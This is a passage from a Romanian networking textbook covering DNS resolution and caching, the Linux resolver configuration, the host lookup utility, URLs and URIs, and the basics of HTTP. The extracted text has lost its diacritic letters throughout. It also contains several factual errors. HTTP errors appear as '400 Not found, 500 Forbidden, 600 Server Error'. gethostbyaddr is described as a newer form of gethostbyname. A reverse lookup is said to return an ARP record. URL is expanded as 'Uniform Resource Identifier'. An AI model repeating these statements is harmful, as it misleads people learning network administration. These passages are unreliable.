atunci va putea investiga serverul de nume al domeniului info (fie ns.info.). Acest server de nume, autoritar pe domeniul info, i va putea transmite nregistrarea de tip NS pentru domeniul start.info. i trimite aceast intrare, n urma interogrii cu o cerere nerecursiv, i serverul local i actualizeaz cache-ul. n continuare urmeaz paii definii anterior. Dac, n cazul de mai sus, server de nume local nu deine n cache nregistrarea de tip NS pentru info, atunci trebuie s apeleze la unul dintre servererele de nume pentru domeniul rdcin care se gsesc tot timpul n cache. Aceste servere de nume se gsesc n configuraia de bootstrap a

304 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e implementrii oricrui server de nume. n cazul Bind, fiierul aferent de configuraie este db.root. Serverul de nume local va interoga, cu o cerere nerecursiv, unul dintre serverele rdcin pentru nregistrarea de tip NS pentru domeniul info. O dat furnizat aceast intrare, serverul poate interoga serverul autoritar pe domeniul ns.info (cel de mai sus) i se reiau paii de mai sus. De observat c interogrile din scenariile prezentate anterior erau interogri pozitive, adic solicitau o adres IP pentru un nume existent. Putem considera noiunea de interogri negative n cazul n care intrarea nu exist. i n acest caz, pentru a preveni overhead-ul de comunicare n Internet, intrrile negative sunt pstrate n cache. Un client care va solicita adresa IP pentru numele zgja.wqwq.info, absent din Internet, va primi rspuns negativ de la serverul de nume local (dup parcurgerea tuturor pailor de mai sus), iar serverul de nume local va popula cache-ul cu intrare negativ. Cereri ulterioare pentru acel nume vor rezulta n consultarea cache-ului i furnizarea rapid a unui rspuns negativ. Situaia de mai sus poate fi problematic atunci cnd se configureaz o intrare nou n cadrul unui server nou de nume. n cazul n care serverul nu a fost configurat corespunztor, nregistrarea nu va fi disponibil. Atunci, toate serverele de nume de reele locale care l-au interogat vor avea n cache o intrare negativ. Presupunnd c greeala de configurare este reparat, informaia va fi disponibil clienilor de reele locale doar dup expirarea intrrilor n cache. Intervalul de expirare al unei nregistrri n cache se numete TTL (time to live). Se recomand un echilibru n configurarea acestuia: suficient de mare nct s fie eficient procesul de rezolvare i s acopere ct mai puini pai; suficient de mic nct actualizrile intrrilor s se propage rapid n Internet. n general, valorile tipice sunt de ordinul orelor, uneori chiar zilelor, innd i de specificul i dinamica domeniilor gestionate de serverele de nume.

Clieni DNS i utilitare de interogare


Mai sus a fost precizat c majoritatea proceselor de reea folosesc, fr intervenia utilizatorul ui, serviciul DNS. Un client web va consulta serviciul DNS pentru a determina adresa IP a numelui din URL; un client de e-mail va consulta serviciul DNS pentru a determina serverul de mail (intrarea de tipul MX) al domeniului adresei destinatarului. Pentru folosirea resolverului DNS, sistemul local configureaz un server de nume, de obicei furnizat de ISP (Internet Service Provider), care s fie interogat pentru rezolvarea cererilor DNS. Pentru validarea configurrii serviciului DNS se folosesc utilitare specifice de interogare DNS. Aceste utilitare au rolul de a formula cereri DNS i de a le transmite, spre rezolvare, unui server de nume. Astfel de utilitare sunt host, dig sau nslookup pe Linux, sau nslookup pe Windows. Utilitarele de mai sus implementeaz funcionalitatea de client, dar ele nu sunt folosite n vreun fel de procesele de reea. Implementarea de client de DNS este proprie, nefolosind apelurile de bibliotec ale resolverului. Rolul acestora este, n general, de depanare a serviciului DNS i de validare a configuraiilor realizate. Dou moduri recomandate pentru a valida funcionarea serviciului DNS sunt folosirea ping sau folosirea host. Ambele trimit cereri recursive ctre serverul de nume configurat local, dar difer ca implementare. Ping folosete resolverul DNS al sistemului (accesibil prin apeluri de bibliotec), n vreme ce host deine o implementare proprie de client DNS.

9.3.4 Implementarea resolverului DNS pe Linux


Resolverul DNS este entitatea folosit, n mod transparent, de toate procesele de reea pentru rezolvarea numelor. Resolverul conine o implementare de client DNS care realizeaz cererile recursive necesare ctre serverul de nume local i ofer procesului de reea informaiile solicitate. Interfaa cu resolverul este asigurat, n API-ul POSIX (i, deci, n Linux), de apelurile gethostbyname12 i gethostbyaddr, sau de versiunile mai noi ale acestora: getnameinfo i
12

http://www.kernel.org/doc/man-pages/online/pages/man3/gethostbyname.3.html

S e r v i c i i d e r e e a | 305 getaddrinfo13. Aceste apeluri ntorc, pentru un nume dat, adresele IP corespunztoare. gethostbyaddr, versiune mai nou a gethostbyname, permite selectarea tipurilor de nregistrri cerute: fie IPv4 (de tipul A), fie IPv6 (de tipul AAAA). Resolverul DNS reprezint doar o parte din operaiile efectuate de funciile gethostbyname/gethostbyaddr. Pentru gestiunea numelor pe sistemul local, pe lng baza de date DNS, mai pot fi folosite i baza de date local (/etc/hosts) sau serviciul de multicast DNS14. Resolverul DNS este corelat bazei de date DNS. Configurarea bazelor de date care vor fi consultate se gsete n fiierul /etc/nsswitch.conf, fiierul de configurare a Name Service Switch. Name Service Switch15 (NSS) este folosit pentru configurarea serviciilor de nume. Nu ne referim doar la nume de staii, ci i la nume de utilizatori, de protocoale, de servicii. Acest mecanism est e configurat n fiierul /etc/nsswitch.conf, linia de configurare specific fiind:
hosts: files mdns4_minimal [NOTFOUND=return] dns mdns4

Aceast linie spune c pentru serviciul de nume de staii (hosts) sunt consultate, alternativ, baza de date local (files), reprezentat prin fiierul /etc/hosts, baza de date multicast DNS (mdns4_minimal), reprezentat de serviciul avahi pe Linux, sau baza de date DNS, accesibil prin intermediul resolverului DNS. Fiierul /etc/hosts16 este o baz de date static, controlat de administratorului sistemului local, n care sunt precizate mapri ntre nume sau adrese IP. n general, are preceden n faa DNS (dac files apare nainte de dns n linia de mai sus); astfel c, adugarea unei linii de forma
1.2.3.4 google.com

nseamn c folosirea numelui google.com n procesele de reea va conduce la ncercarea de conectare la adresa IP 1.2.3.4. Serviciul multicast DNS este un serviciu din reeaua local care realizeaz o mapare implicit a adreselor IP ale staiilor la nume de forma <nume-statie>.local. Astfel, dac ntr-o reea local, exist dou staii cu numele alamar i jeddite i ambele staii au configurat multicast DNS17 vor putea s se identifice cu numele alamar.local, respectiv jeddite.local. Serviciul DNS nseamn consultarea resolverului DNS implementat local. Acesta va transmite cereri DNS recursive serverului DNS configurat local. Configurarea serverului DNS se realizeaz n fiierul /etc/resolv.conf, cu o linie sau mai multe de forma:
nameserver 141.85.226.5 nameserver 141.85.241.113

n cazul prezenei mai multor servere, al doilea va fi folosit doar n caz de nefuncionare a primului. Serverele DNS din fiierul /etc/resolv.conf sunt configurate doar n format de adres IP. Nu se poate configura un server de nume n format de nume pentru c atunci ar fi nevoie de un server de nume care s ofere adresa acestuia. n cazul prezenei liniei de mai sus din fiierul /etc/nsswitch.conf, se va interoga nti baza de date local, apoi baza de date multicast DNS, apoi serviciul DNS. Acest lucru se poate observa i prin captura apelurilor open pentru procesul ping, cu ajutorul comenzii strace. Comanda strace permite inspectarea apelurilor de sistem realizate de un proces. n cazul nostru urmrim bibliotecile deschise de proces prin inspecia apelului open (cu opiunea -e open):
$ sudo strace -e open ping -c 1 google.com > /dev/null [...] open("/etc/resolv.conf", O_RDONLY) = 4 open("/etc/nsswitch.conf", O_RDONLY) = 4
13 14

http://www.kernel.org/doc/man-pages/online/pages/man3/getaddrinfo.3.html http://en.wikipedia.org/wiki/Multicast_DNS 15 http://www.gnu.org/software/libc/manual/html_node/Name-Service-Switch.html 16 http://www.kernel.org/doc/man-pages/online/pages/man5/hosts.5.html 17 avahi pe Linux

306 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
open("/lib/x86_64-linux-gnu/libnss_files.so.2", O_RDONLY) = 4 open("/etc/host.conf", O_RDONLY) = 4 open("/etc/hosts", O_RDONLY|O_CLOEXEC) = 4 open("/lib/libnss_mdns4_minimal.so.2", O_RDONLY) = 4 open("/lib/x86_64-linux-gnu/libnss_dns.so.2", O_RDONLY) = 4 open("/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY) = 4 [...]

Toate apelurile de sistem de mai sus sunt realizate de apelul de bibliotec gesthostbyname(). Din listarea de mai sus au fost extrase unele apeluri pentru a le prezenta doar pe cele importante. Explicaia pentru fiecare linie dintre cele de mai sus este prezentat mai jos: prima linie deschide fiierul /etc/resolv.conf pentru extragerea serverului de nume; a doua linie deschide fiierul /etc/nsswitch.conf pentru a determina ce baze de date de nume de staii trebuie consultate i n ce ordine; conform liniei precizate mai sus ordinea va fi files, mdns4_minimal i dns; n primul pas se consult baza de date files, prin ncrcarea i folosirea bibliotecii aferente (libnss_files.so.2); configurarea bazei de date files se realieaz n fiierul /etc/host.conf, care este deschis i interpretat; baza de date se gsete n fiierul /etc/host; n cadrul fiierului /etc/host se caut intrarea google.com; ntruct nu este gsit, se trece la urmtoarea baz de date; urmtoarea baz de date este mdns4_minimal; consultarea acesteia se realizeaz prin ncrcarea i folosirea bibliotecii aferente (libnss_mdns4_mininal.so.2); serviciul multicast DNS nu dispune de intrare pentru google.com, aa c se trece la urmtoarea baz de date; baza de date interogat n continuare este baza de date dns; consultarea acesteia se realizeaz prin ncrcarea bibliotecii libnss_dns.so.2; n cadrul acestei biblioteci se apeleaz resolverul DNS, implementat n biblioteca libresolv.so.2; resolverul DNS este cel care realizeaz cererile DNS ctre serverul DNS din fiierul /etc/resolv.conf i apoi ntorc rezultatul n apelant (adic n procesul care a apelat gethostbyname). Aadar, pe Linux, resolverul DNS este implementat n forma unei biblioteci integrate n biblioteca standard C. Apelurile gethostbyname sau gethostbyaddr proceselor de reea constituie o interfa pentru mai multe baze de date de rezolvare a numelor de staii, printre care i resolverul DNS.

9.3.5 Utilitarul host


Resolverul DNS este folosit de procesele de reea n dou situaii: pentru determinarea unei adrese IP, cnd se cunoate numele staiei (rezolvare direct), i pentru determinarea unui nume cnd se cunoate adresa IP (rezolvare invers). Cu toate acestea, un server DNS ofer mai multe faciliti care trebuie s fie verificate. Pentru situaiile de validare a configurrii unui server DNS, precum i pentru depanarea problemelor de folosire a serviciului DNS, se folosesc utilitare de interogare specifice, precum host, dig i nslookup. Toate utilitarele au funcionaliti similare; n continuare prezenta utilitarul host. Ca utilitare de interogare a serviciului DNS, host permite realizarea de cereri (recursive sau nerecursive) pentru toate tipurile de nregistrri. n mod implicit, serviciul realizeaz cereri pentru interogri de tipul A dac i se transmite ca argument un nume de staie, de tipul MX dac i se trimite ca argument un nume de domeniu, sau de tipul PTR dac i se transmite ca argument o adres IP, aa cum se observ aici:

S e r v i c i i d e r e e a | 307
$ host cursuri.cs.pub.ro cursuri.cs.pub.ro has address 141.85.227.111 $ host pub.ro pub.ro mail is handled by 5 mail.pub.ro. pub.ro mail is handled by 50 relay.roedu.net. $ host 141.85.227.118 118.227.85.141.in-addr.arpa domain name pointer swarm.cs.pub.ro.

n cadrul primei rulri a comenzii, se transmite ca argument numele cursuri.cs.pub.ro. Rspunsul conine nregistrarea de tipul A, adic adresa IP a numelui de staie cursuri.cs.pub.ro (141.85.227.111). Cea de-a doua rulare folosete argumentul pub.ro, care este numele unui domeniu. Rezultatul const n afiarea serverelor de mail ale domeniului, n urma transmiterii unor nregistrri de tipul MX de la server. n fine, ultima rulare primete ca argument o adres IP, ntorcndu-se numele staiei aferente, swarm.cs.pub.ro, n cadrul unei nregistrri ARP. n cazul n care un nume este numele unei staii care are aferente mai multe adrese IPv4, sau mai multe adrese IPv6, sau i adrese IPv4 i adrese IPv6, atunci se afieaz toate adresele. Mai jos se realizeaz o interogare pentru numele de staie ftp.ines.lug.ro, rezultnd ntr-o adres IPv4 i dou adrese IPv6:
$ host ftp.ines.lug.ro ftp.ines.lug.ro has address 83.166.201.99 ftp.ines.lug.ro has IPv6 address 2002:53a6:c978::da7a ftp.ines.lug.ro has IPv6 address 2a02:2a00:2c00:feed::da7a

Dac numele transmis ca argument este att nume de staie, ct i nume de domeniu, se realizeaz o interogare de tip A pentru staie pentru determinarea adresei IP i o interogare de tip MX pentru domeniu pentru determinarea serverului de mail. Mai jos se realizeaz o interogare pentru lug.ro, care este att nume de staie ct i nume de domeniu. Rezult adresele IPv4 i IPv6 n urma unor interogri de tip A i serverul de e-mail aferent domeniului mail.lug.ro.
$ host lug.ro lug.ro lug.ro lug.ro lug.ro has address 83.166.201.98 has IPv6 address 2a02:2a00:2c00:feed::80 has IPv6 address 2002:53a6:c978::80 mail is handled by 10 mail.lug.ro.

n cazul n care numele este un alias, se afieaz rezultatul intrrii CNAME aferente (sau a mai multor intrri n caz de alias recurent) i o intrare de tipul A cu adresa IP a numelui efectiv. n rularea de mai jos, se trimite ca argument numele wiki.cs.pub.ro. Acesta este un alias la koala.cs.pub.ro, informaie ntoars ntr-o nregistrare de tip CNAME; koala.cs.pub.ro are adresa IP 141.85.227.114, informatie ntoars ntr-o nregistrare de tip A:
$ host wiki.cs.pub.ro wiki.cs.pub.ro is an alias for koala.cs.pub.ro. koala.cs.pub.ro has address 141.85.227.114

n exemplele de mai sus, valorile ntoarse sunt valori implicite pentru argumentul primit. Dac se dorete extragerea unui anumit tip de intrare atunci se poate folosi opiunea -t urmat de tipul cererii, ca mai jos:
$ host -t A lug.ro lug.ro has address 83.166.201.98 $ host -t AAAA lug.ro lug.ro has IPv6 address 2002:53a6:c978::80 lug.ro has IPv6 address 2a02:2a00:2c00:feed::80 $ host -t MX lug.ro lug.ro mail is handled by 10 mail.lug.ro. $ host lug.ro lug.ro lug.ro lug.ro -t NS lug.ro name server ns2.lug.ro. name server ns-1.ines.ro. name server ns1.lug.ro. name server ns3.lug.ro.

$ host -t CNAME lug.ro lug.ro has no CNAME record $ host -t SOA lug.ro

308 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
lug.ro has SOA record ns1.lug.ro. hostmaster.lug.ro. 2012013001 3600 7200 86400 3600

Rulrile de mai sus realizeaz urmtoarele tipuri de interogri: adresa IP a staiei lug.ro printr-o interogare de tipul A (-t A); adresele IPv6 ale staiei lug.ro printr-o interogare de tipul AAAA (-t AAAA); serverul de e-mail al domeniului lug.ro printr-o interogare de tipul MX (-t MX); serverele de nume ale domeniului lug.ro printr-o interogare de tipul NS (-t NS); dac lug.ro este un alias, printr-o interogare de tipul CNAME (-t CNAME); rezult din rspuns c nu este; informaii autoritare pentru domeniul lug.ro, precum serverul de nume, adresa de e-mail a administratorului, un id de actualizare (de obicei data ultimei actualizri) i TTL-uri pentru cache n secunde; acestea sunt obinute printr-o interogare de tipul SOA (Start of Authority) (-t SOA). n mod implicit, utilitarul host folosete serverul de nume configurat pe sistemul local n fiierul /etc/resolv.conf. Dac se dorete testarea specific a unui server de nume, acesta poate fi transmis ca ultimul argument. De exemplu, dac vrem s aflm adresa IPv6 a staiei cu numele facebook.com prin interogarea unuia dintre serverele public DNS ale Google (8.8.8.8), vom folosi comanda de mai jos:
$ host -t AAAA facebook.com 8.8.8.8 Using domain server: Name: 8.8.8.8 Address: 8.8.8.8#53 Aliases: facebook.com has IPv6 address 2a03:2880:10:8f01:face:b00c:0:25 facebook.com has IPv6 address 2a03:2880:10:cf01:face:b00c:: facebook.com has IPv6 address 2a03:2880:2110:3f01:face:b00c:: facebook.com has IPv6 address 2a03:2880:2110:9f01:face:b00c::

Se observ c rezulatul rulrii difer de cel standard prin adugarea unor informaii despre serverul DNS folosit. Pentru depanarea serviciului DNS, sau pentru depanarea sau validarea unui server de nume, este esenial folosirea unui utilitar de interogare DNS. Utilitarul host ndeplinete acest rol, oferind o interfa simpl ctre utilizator.

9.4 Serviciul web


La nceputurile sale, Internetul era cuprins dintr-un numr redus de staii i resurse pentru reea. Pe msura dezvoltrii sistemelor de calcul, a dispozitivelor i mediilor de transmisie i a protocoalelor de comunicaie, Internetul a cptat din ce n ce mai multe noduri i mai multe resurse utilizate n reea. Boom-ul Internetului de la nceputul anilor '90 a accelerat aceast cretere. n contextul unui numr divers de resurse localizate pe multe staii n Internet, s-a pus problema accesrii acestora. Cum poate un nod din Internet s aib acces la resursele unui alt nod? Pentru un astfel de acces, este nevoie de: un mod de identificare a nodului, a resursei de pe acel nod, un mecanism de accesare a acesteia i forme de referire la alte resurse. Soluia pentru problema diversitii i dezorganizrii resurselor n Internet a fost dezvoltarea serviciului web (sau World Wide Web). Sir Tim Berners-Lee, inventatorul World Wide Web (WWW) are meritul de a fi proiectat sistemul ce permitea organizarea i referirea resurselor din Internet. Succesul acestei iniiative este demonstrat de prevalena World Wide Web n viaa de zi cu zi a utilizatorului de Internet. Interfaa web este, probabil, cea mai uzual interfa prin care un utilizator folosete Internetul. World Wide Web-ul este un spaiu global de informaie n Internet, n care resursele din Internet sunt identificate printr-o schem proprie (denumit URL Uniform Resource Locator) i care prezint legturi ctre alte resurse (denumite hyperlink-uri). n general, un web de informaie const n resurse interconectate accesibile unui set de utilizatori. World Wide Web-ul este web-ul global n Internet cu resursele disponibile tuturor utilizatorilor. Vom folosi interschimbabil, pe parcursul acestei seciuni, denumirea de serviciul web sau de World Wide Web (WWW).

S e r v i c i i d e r e e a | 309 Datorit popularitii World Wide Web pentru utilizatorii de Internet, acesta poate fi confundat cu Internetul. n vreme ce Internetul reprezint totalitatea reelelor interconectate de pe glob, World Wide Web este un serviciu care ruleaz n Internet i se folosete de infrastructura acestuia. World Wide Web este un serviciu similar serviciului DNS i serviciului de e-mail. Confuzia poate fi accentuat i de faptul c alte servicii din Internet pot fi configurate i utilizate tot dintr-o interfa web (spre exemplu, interfa webmail pentru e-mail, sau aplicaii web precum phpmyadmin sau phpldapadmin pentru gestiunea serviciilor MySQL sau LDAP). Tot popularitatea serviciul a condus la diversificarea cazurilor de utilizare a acestora. Gndit iniial ca mod de acces i structurare a resurselor, n zilele noastre este folosit n aplicaii colaborative, comunicare i socializare, de tranzacii financiare, online gaming, administrare de servicii. Acest lucru a condus la apariia i evoluia unei ramuri tehnice denumit dezvoltare web (web development) n care sunt implicate multe companii i multe persoane. Companii celebre precum Google, Facebook, Yahoo! i datoreaz existena i succesul World Wide Web-ului i unui numr din ce n ce mai mare de profesioniti n web development.

9.4.1 Dezvoltarea i standardizarea WWW


Deciziile de proiectare a serviciului web au inut de particularitatea Internetului. Punctul de pornire const ntr-un spaiu relativ haotic de resurse diverse cu legturi ntre ele. Pe baza acestor particulariti au aprut elementele ce constituie baza WWW: pagin web: n general o resurs web descris ntr-un format specific, denumit HTML (HyperText Markup Language) care poate fi accesat i apoi redat (rendered) utilizatorului; hyperlink: legtur prezent ntr-o pagin web ctre o alt pagin web; de obicei poate fi accesat printr-un click de mouse de utilizator; URL (Uniform Resource Identifier): mod unic de identificare a resursei/paginii web n Internet; este folosit de utilizator pentru accesarea resursei; un hyperlink este de fapt un URL al unei alte pagini; HTTP (HyperText Transfer Protocol): este protocolul folosit pentru accesarea paginilor/resurselor web; pe baza URL-ului resursa este localizat i apoi este accesat. Proiectarea protocolului HTTP, protocolul fundamental al web-ului, ine de particularitile acestuia. Protocol de tip client-server (clientul se mai numete browser), protocolul HTTP se remarc prin faptul c nu este orientat conexiune. Adic, dup obinerea unei resurse, conexiunea cu serverul se ncheie. Pentru a obine aceeai resurse sau a alteia, este nevoie de o alt conexiune. Aceast decizie ine cont de organizarea informaiilor n pagini de dimensiune redus i prezena hyperlinkurilor. n general, un utilizator va accesa o pagin din clientul web, acesta va reda pagina i apoi clientul o va urmri local. Accesarea unei noi pagini presupune, n general, accesarea unui hyperlink din cadrul paginii iniiale care poate duce ctre alt server. Meninerea unei conexiuni ctre serverul iniial ar nsemna un consum inutil de resurse. Nepersistena conexiunii n HTTP sporete eficiena consumului de resurse, dar creeaz probleme atunci cnd aceasta este necesar. De exemplu, atunci cnd un utilizator se autentific pe un site, este de ateptat s nu i fie cerute datele de autentificare la fiecare acces al paginii. Pentru aceast problem au fost gsite soluii specifice, descrise n. Protocolul HTTP i alte elemente specifice serviciului Web sunt disponibile n documente RFC. Pe lng acestea, ns, dezvoltarea rapid a serviciului a condus la nevoia standardizrii unor aspecte legate de structura, formatarea i redarea paginilor, precum HTML, CSS (Cascade Style Sheets), XML, XHTML, CGI. Efortul de standardizare a web-ului este coordonat de World Wide Web Consortium (W3C), condus de Sir Tim Berners-Lee. Consoriul dezvolt standarde deschise (open standards) care s fie folosite n web, n concordan cu moto-ul Leading the Web to its Full Potential. Procesul de standardizare n W3C urmeaz cinci niveluri: se ncepe cu Working Draft i se ncheie cu W3C

310 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Recommendation. n momentul n care o propunere atinge nivelul W3C Recommendation, poate fi considerat un standard care s fie implementat de clienii i serverele web. Avansul web din ultimii ani de zile a determinat apariia a ceea ce s-a numit Web 2.0. Considerat n unele cercuri un termen de marketing, Web 2.0 se refer la avansul tehnologiilor web n mate rie de aplicaii colaborative i sociale: wiki-uri, blog-uri, site-uri de social networking, site-uri de partajare media etc. Web 2.0 marcheaz schimbarea paradigmei serviciului Web de la accesarea unor resurse la o paradigm n care utilizator interacioneaz activ cu acele resurse, putnd aduga, modifica sau terge aceste resurse; de exemplu, pe un wiki, un utilizator poate crea noi pagini, poate edita pagini existente, poate terge pagini, poate aduga imagini sau exemple de cod surs, poate uploada fi iere sau poate lega alte resurse n cadrul wiki-ului. Forma de participare activ i implicare a utilizatorului n dezvoltarea coninutului web au condus la apariia terminologiei Web 2.0. O evoluie a Web-ului, propus de Sir Tim Berners-Lee, este Web-ul semantic (Sematic Web). Web-ul semantic i propun ca, pe lnga organizarea resurselor n Internet, s ofere i metainformaii despre aceste resurse, despre conectarea inteligent cu alte resurse. Serviciul Web semantic ar trebui s rezolve cerinele utilizatorului n mod inteligent, putnd face recomandri sau lua decizii n locul utilizatorului.

9.4.2 Identificarea resurselor n Web


Proiectat pentru a structura cantitatea crescnd de informaie n Internet, web-ul folosete o schem care s permit identificarea unic a resurselor. Identificatorul fiecrei resurse n web se numete URL (Uniform Resource Locator). Un URL este irul introdus de utilizator n browser pentru accesarea unei resurse web i este modul n care sunt descrise legturile ntre resurse (hyperlinkurile). Un hyperlink este un URL care permite referirea unei resurse/pagini web din cadrul altei resurse i pagini. URL-ul a oferit Web-ului posibilitatea de identificare a staiei n Internet i a resursei din cadrul acelei pagini. n acest fel, orice fel de resurs pe care o staie o pune la dispoziie spaiului web va fi referit prin URL. n mod tipic, URL-ul este preocupat de identificarea staiei i a resursei. Astfel, folosirea n cadrul unui browser a URL-ului www.start.info va conduce la afiarea resursei rdcin de pe sistemul www.start.info. URL-ul este echivalent URL-ului www.start.info/; caracterul / precizeaz faptul c este vorba de directorul rdcin web pus la dispoziie de sistem18, similar directorului rdcin pe un sistem Unix. Folosind protocolul HTTP, browserul iniiaz o conexiune la serverul web (care este un proces) de pe staia identificat de numele www.start.info i i solicit acestuia resursa aferent directorului rdcin web. Serverul web i va rspunde i va nchide conexiunea. Dac utilizatorul dorete s extrag o anumit resurs/pagin, va putea transmite calea complet ctre acea resurs. De exemplu, la transmiterea cii www.start.info/networking/lectures/lecture-01.html, browserul va contacta serverul www.start.info i va solicita pagina networking/lectures/lecture-01.html, relativ la rdcina directorului rdcin web. n general, URL-ul precizeaz i protocolul folosit pentru comunicare. n mod implicit, browserele consider acest protocol ca fiind HTTP, astfel c este echivalent folosirea URL-urilor www.start.info/hello.html sau http://www.start.info/hello.html. Exist i alte protocoale care pot fi folosite n web; probabil cel mai cunoscut alt protocol este protocolul HTTP securizat sau HTTPS. Pentru folosirea acestuia, URL-ul folosete ca prefix irul https://, un exemplu de URL fiind https://www.start.info/hello.html pentru accesarea prin HTTPS a paginii hello.html din directorul rdcin web. n cazurile de mai sus, browserul iniiaz conexiuni ctre serverul web pe portul pe care acesta iniiaz conexiuni. n mod implicit, acest port este portul 80 pentru HTTP i 443 pentru HTTPS. n

18

DocumentRoot

S e r v i c i i d e r e e a | 311 cadrul URL-ului, utilizatorul poate preciza portul. Astfel perechile de URL-uri de mai jos sunt echivalente: http://www.start.info/hello.html i http://www.start.info:80/hello.html https://www.start.info/hello.html i https://www.start.info:443/hello.html Dac serverul web a fost configurat s asculte conexiuni pe alt port (diferit de 80 sau 443), atunci acesta trebuie precizat explicit n URL. Spre exemplu, dac serverul web a fost configurat s asculte conexiuni pe portul 8080 atunci URL-ul de obinere a paginii hello.html descrise mai sus va fi http://www.start.info:8080/hello.html. Schema de URL nu este folosit doar pentru protocolul HTTP sau HTTPS. Pot fi folosite i alte protocoale, ct timp clientul care folosete URL-ul cunoate acel protocol. Un protocol care poate fi folosit din browser este protocolul FTP i se poate folosi URL pentru acesta. De exemplu, URL -ul ftp://ftp.start.info/download/iso/udpcd.iso ofer accesul la resursa download/iso/udpcd.iso din directorul rdcin al serverul FTP, folosind protocolul FTP. Acest URL poate fi folosit doar n browserele care cunosc protocolul FTP, caz n care acioneaz pe post de client FTP. Alte protocoale care pot fi folosite n cadrul unui URL sunt IMAP (imap://), IMAPS (imaps://), FTPS (ftps://), SFTP (sftp://), LDAP (ldap://), LDAPS (ldaps://) i altele. Pentru ca un URL s aib sens, acesta trebuie s trimit la o resurs recunoscut de serverul n cauz, iar clientul trebuie s cunoasc protocolul specificat n URL. Schema de URL, n cazul n care protocolul folosete autentificare, permite specificarea numelui de utilizator i parolei. Astfel, dac pentru accesarea unei resurse prin FTP este nevoie de autentificarea folosind utilizatorul tirion cu parola argent, se va folosi un URL de forma ftp://tirion:argent@ftp.start.info/download/iso/udpcd.iso. Formal, schema complet unui URL are aadar formatul: protocol://username:password@servername:port/path/to/resource protocol este protocolul folosit; este nevoie ca serverul care ateapt conexiuni i clientul s foloseasc acel protocol; username:password reprezint credenialele de autentificare; servername este numele staiei server, fie ca nume DNS fie ca adres IP; port este portul pe care procesul server ascult conexiuni pentru a comunica, folosind protocolul dat, cu procesul client; path/to/resource este calea ctre resurs, relativ la directorul rdcin al procesului serverului. Pentru testarea diverselor forme de URL, recomandm consultarea utilitarului curl. Acesta este un client pentru o diversitate de protocoale i implicit URL-uri (HTTP, FTP, LDAP, IMAP etc.). Am precizat c URL-ul este un mod de identificare a unei resurse n Internet. n fapt, un URL este modul de identificare a resursei pe baza modului n care aceast resurs este accesat, adic pe baza locaiei sale (location) n configurarea serverului. n Internet, noiunea care reflect n mod generic identificarea unei resurse n internet poart numele de URI (Uniform Resource Identifier). Un URI identific o resurs abstract sau fizic folosind un ir de caractere dup o schem specific, similar URL-ului. Nu este nevoie de precizarea unui mod de acces la acea resurs. Din acest motiv toate URL-urile sunt URI-uri, dar unele URI-uri nu sunt URL-uri. Exemplu de URI care nu este URL este adresa de e-mail. Formatul unei adrese de e-mail este mailto:abaddon@darksiders.com sau, simplificat, abaddon@darksiders.com. O astfel de adres este un URI, identificnd datele de contact i csua potal a unui utilizator, fr a specifica ns un mod de localizare a acesteia, deci nu este URL. Schemele posibile pentru URI-uri sunt numeroase i pot fi create i scheme noi, ct timp respect cerinele specificate n documentul RFC aferent. Spre exemplu, scheme de forma man:gcc i info:gcc acceseaz, respectiv, paginile de manual i info ale comenzii gcc. Detalii despre URI-uri se gsesc consultnd pagina de manual aferent de pe toate sistemele Linux (man-uri). Folosirea URL-urilor (i deci i a URI-urilor) specifice World Wide Web depinde de protocolul HTTP, protocolul de baz al web-ului, prezentat n continuare.

312 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

9.4.3 HTTP
Dup cum a fost precizat anterior, particularitile legate de distribuirea datelor n Internet au condus la proiectarea unui serviciu neorientat conexiune. Dup obinerea fiecrei resurse, conexiunea se nchide, urmnd s se deschid o conexiune nou pentru alt resurs, de multe ori pe alt server. Meninerea conexiunii active ctre un anumit server ar reprezenta, de multe ori, un consum inutil de resurse att pe client ct i pe server. Protocolul HTTP (HyperText Transfer Protocol), protocolul esenial al serviciului web, este rezultatul deciziilor de proiectare de mai sus. HTTP este un protocol simplu, n mod text, fr conexiune persistent. Clientul web, denumit i browser, formuleaz o cerere HTTP care apoi este transmis serverului web, unde este prelucrat, dup care clientului i este servit rspunsul. Protocolul este asociat portului 80 TCP, port pe care ascult conexiuni serverul web. HTTP funcioneaz peste TCP, fiind nevoie de facilitile de livrare sigur i control al fluxului pentru transmiterea de fiiere de dimensiune mare. n mod convenional, dac un server web ascult conexiuni pe alt port, acesta este corelat numrului 80: fie portul 8000, fie portul 8080 sau altele similare. Protocolul este un protocol text i, ct vreme nu se face ncrcarea sau descrcarea de fiiere binare, pot fi urmrite ntr-o captur de sniffer (de tipul tcpdump sau wireshark) att cererea clientului, ct i rspunsul serverului. Cea mai simpl form de interogare din partea clientului, forma implicit, se realizeaz printr -un mesaj de tipul GET. Un astfel de mesaj solicit o resurs de la serverul Web. De exemplu, un client, dup conectare la un server web, i transmite acestuia mesajul:
GET /networking/lectures/lecture-01.html

Mesajul ajunge la server i este prelucrat. Serverul verific existena, n directorul su rdcin, a resursei /networking/lectures/lecture-01.html. n cazul existenei resursei, el i trimite un rspuns clientului, mpreun cu acea resurs. Rspunsul pozitiv este de forma
200 OK

Dup acest rspuns urmeaz resursa solicitat. Dup ce resursa este transmis, conexiunea este nchis. Acest mesaj este transmis de un browser n momentul folosirii URL-ului http://www.start.info/networking/lectures/lecture-01.html (desigur, poate fi vorba de alt server). URL-ul i transmite clientului ce server web s contacteze, folosind HTTP i o conexiune pe portul 80, i ce argument s foloseasc pentru mesajul de tip GET, adic /networking/lectures/lecture-01.html, calea ctre resursa dorit. Se observ traducerea simpl i rapid din URL ntr-o interogare ctre serverul web pentru obinerea resursei. n general, dac resursa este disponibil, serverul rspunde cu un mesaj pozitiv (200 OK) i cu resursa obinut n continuarea mesajului. n cazul unei probleme, serverul rspunde cu un mesaj de eroare. Exemple sunt: 400 Not found 500 Forbidden 600 Server Error Rspunsurile negative sunt, de obicei, prelucrate de clientul web i redate utilizatorului n forma unui mesaj de eroare.
Protocolul HTTP/1.1

